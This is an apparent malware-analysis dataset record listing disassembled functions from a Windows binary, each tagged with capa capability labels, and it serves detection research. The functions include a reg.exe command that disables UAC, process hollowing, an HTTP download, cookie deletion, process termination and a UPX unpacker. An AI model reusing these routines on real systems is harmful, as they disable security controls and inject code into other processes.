joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405d53
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
lea eax, [ebp - 1]
push ebx
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
lea eax, [ebp - 0x24]
push closesocket
push eax
xor bl, bl
call fcn.00408ef1
add esp, 0x10
lea ecx, [ebp - 0x14]
push eax
call dword [0x410264]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0x14]
push 0x410668
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x405dc1
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_IE_cookies_not_found_
jmp 0x405e1a
lea eax, [ebp - 0x128]
push 0x104
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x405df9
push eax
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
jmp 0x405db9
lea eax, [ebp - 0x128]
push eax
call fcn.0040f234
pop ecx
test eax, eax
push 0
je 0x405e2e
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push str._n_IE_cookies_cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
mov bl, 1
jmp 0x405e64
push 0x410cc4
mov ecx, 0x415968
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char_const___unsigned_int_const]
test eax, eax
je 0x405e64
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov bl, 1
mov ecx, esp
push eax
push str._n_IE_cookies_cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x4156c0
call fcn.00403a9a
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret
Function at 0x405f6c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov al, byte [ebp + 8]
imul ecx, ecx, 0xea60
push ebx
push esi
test al, al
push edi
mov byte [0x415760], al
mov dword [0x415764], ecx
je 0x405fd9
and dword [ebp + 8], 0
mov ebx, 0x410d48
mov edi, 0x4157e8
push ebx
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov esi, closesocket
push eax
push esi
call fcn.00408e4e
add esp, 0xc
test al, al
je 0x405fd9
lea eax, [ebp + 8]
mov ecx, edi
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call fcn.00408e97
xor eax, eax
add esp, 0x10
cmp dword [ebp + 8], eax
je 0x405fdb
xor al, al
jmp 0x405fed
xor eax, eax
push eax
push eax
push eax
push 0x405e72
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4084b8
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x11
xor eax, eax
pop ecx
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
leave
ret
Function at 0x408e4e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push esi
push eax
xor esi, esi
push 0x20019
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408e92
push edi
push esi
push esi
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, esi
pop edi
sete al
jmp 0x408e94
xor al, al
pop esi
pop ebp
ret

Function at 0x408e97
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
lea eax, [ebp + 0xc]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408eed
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 8]
push dword [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
pop esi
leave
ret
xor al, al
leave
ret

Function at 0x408ef1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
lea eax, [ebp + 0xc]
mov dword [ebp - 4], 0x400
push eax
push 0x20019
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408f4d
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
push 0
push 0
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x13]
push eax
lea eax, [ebp - 0x404]
push eax
jmp 0x408f56
lea eax, [ebp + 0x13]
push eax
push 0x410668
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov eax, dword [ebp + 8]
leave
ret

Function at 0x408f64
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
lea eax, [ebp + 0xc]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408fd6
lea eax, [ebp + 8]
push edi
push eax
push dword [ebp + 0x14]
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x408fd6
push dword [ebp + 0x1c]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0x18]
call fcn.004028eb
push dword [ebp + 8]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0x14]
call fcn.0040298e
mov al, 1
leave
ret
xor al, al
leave
ret
Function at 0x408fda
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x409039
push ebx
push esi
lea ecx, [ebp + 0x14]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
lea ecx, [ebp + 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
xor ebx, ebx
push dword [ebp + 0x24]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
jne 0x40902a
mov bl, 1
lea ecx, [ebp + 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop esi
pop ebx
pop ebp
ret
lea ecx, [ebp + 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
pop ebp
ret

Function at 0x409046
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x409087
push esi
lea eax, [ebp + 0x14]
push 4
push eax
push 4
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
pop esi
pop ebp
ret
xor al, al
pop ebp
ret

Function at 0x40908b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4090cc
push esi
lea eax, [ebp + 0x14]
push 8
push eax
push 0xb
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
pop esi
pop ebp
ret
xor al, al
pop ebp
ret

Function at 0x409132
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push 2
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x409151
xor al, al
pop ebp
ret
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
neg eax
sbb al, al
inc al
pop ebp
ret
Function at 0x40c9dd
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 0x40c8f3
call dword [sym.imp.USER32.dll_EnumWindows]
sub esp, 0x10
lea eax, [ebp - 0x10]
mov esi, esp
push 0x415a20
push 0x415268
push str.windowslist
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
push esi
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
mov ecx, 0x415a30
call fcn.00402198
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0x410668
mov ecx, 0x415a20
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
pop esi
leave
ret
Function at 0x40d477
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
mov eax, 0x40ffc4
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x7c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x80], eax
cmp word [eax], 0x5a4d
jne 0x40d612
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [ebp - 0x14], esi
cmp dword [esi], 0x4550
jne 0x40d612
push 0x11
pop ecx
xor eax, eax
lea edi, [ebp - 0x5c]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x7c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push ebx
push ebx
push ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x40d612
push edi
push 0x1000
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0x6c], ebx
mov dword [ebx], 0x10007
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
test eax, eax
je 0x40d612
push 0
push edi
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
mov eax, dword [ebp - 0x18]
cmp eax, dword [esi + 0x34]
jne 0x40d55c
push eax
push dword [ebp - 0x7c]
call dword [ebp - 0x84]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov dword [ebp - 0x68], eax
test eax, eax
je 0x40d612
push 0
push dword [esi + 0x54]
push dword [ebp + 0xc]
push eax
push dword [ebp - 0x7c]
mov edi, dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
call edi
xor eax, eax
mov dword [ebp - 0x60], eax
movzx ecx, word [esi + 6]
cmp eax, ecx
jge 0x40d5d3
lea eax, [eax + eax*4]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0x3c]
lea eax, [edx + eax*8]
lea eax, [eax + ecx + 0xf8]
mov dword [ebp - 0x64], eax
push 0
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add edx, ecx
push edx
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x68]
push eax
push dword [ebp - 0x7c]
call edi
inc dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
jmp 0x40d596
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x7c]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x68]
mov dword [ebx + 0xb0], eax
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
cmp eax, 0xffffffff
je 0x40d612
mov al, 1
jmp 0x40d618
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40e549
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x10
push eax
lea eax, [ebp - 0x4c]
push eax
push 1
call dword [0x415b98]
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x100
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x24c]
lea ecx, [ebp - 0x2c]
push eax
lea eax, [ebp - 1]
push eax
push 0x411848
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x1c]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_unsigned_short_int_const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
push eax
push dword [ebp + 8]
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
lea ecx, [ebp - 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
mov eax, dword [ebp + 8]
leave
ret
Function at 0x40e750
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x271c
call fcn.0040fcf0
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
and byte [ebp + 0x13], 0
xor esi, esi
push esi
push esi
push esi
push 1
mov dword [eax], esi
push str.user
mov dword [ebx], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push closesocket
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 4], eax
je 0x40e846
push edi
mov dword [ebp + 0x10], esi
mov dword [ebp + 8], esi
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x271c]
push 0x2710
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40e7c8
cmp dword [ebp + 0x10], esi
jbe 0x40e81f
mov eax, dword [ebx]
add eax, dword [ebp + 0x10]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebx]
mov esi, dword [ebp + 8]
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [ebp - 8], eax
and ecx, 3
push dword [ebp + 8]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx]
mov ecx, dword [ebp + 0x10]
add edi, eax
mov eax, ecx
lea esi, [ebp - 0x271c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0040fc2c
mov eax, dword [ebp - 8]
pop ecx
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0x10]
add dword [ebx], eax
pop ecx
xor esi, esi
jmp 0x40e7a6
push dword [ebx]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov edi, eax
mov dword [ecx], eax
mov ecx, dword [ebx]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + 0x13], 1
pop edi
push dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
mov al, byte [ebp + 0x13]
pop esi
pop ebx
leave
ret
Function at 0x40ecdd
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret
Function at 0x4bc810
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6a000]
push edi
jmp 0x4bc82a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4bc831
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bc820
mov eax, 1
add ebx, ebx
jne 0x4bc843
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4bc854
jne 0x4bc873
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bc873
dec eax
add ebx, ebx
jne 0x4bc860
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4bc838
add ebx, ebx
jne 0x4bc86f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4bc8c5
xor ecx, ecx
sub eax, 3
jb 0x4bc88b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4bc8fa
sar eax, 1
mov ebp, eax
jmp 0x4bc896
add ebx, ebx
jne 0x4bc896
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bc864
inc ecx
add ebx, ebx
jne 0x4bc8a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bc864
add ebx, ebx
jne 0x4bc8b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4bc8a6
jne 0x4bc8c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4bc8a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4bc8e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4bc8d6
jmp 0x4bc826
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4bc8e4
add edi, ecx
jmp 0x4bc826
pop esi
mov edi, esi
mov ecx, 0x309a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4bc902
cmp byte [edi], 0x17
jne 0x4bc902
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4bc907
lea edi, [esi + 0xb9000]
mov eax, dword [edi]
or eax, eax
je 0x4bc97f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xbdb5c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xbdc24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4bc934
mov ecx, edi
jns 0x4bc963
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xbdc28]
or eax, eax
je 0x4bc979
mov dword [ebx], eax
add ebx, 4
jmp 0x4bc951
call dword [esi + 0xbdc38]
mov ebp, dword [esi + 0xbdc2c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4bc9b3
sub esp, 0xffffff80
jmp 0x436e49
Function at 0x89d370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x89d38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x8c6074
push ecx
mov edi, eax
call fcn.008b1198
mov esi, eax
add esp, 8
test esi, esi
jne 0x89d3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.008b102e
push esi
call fcn.008b0fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret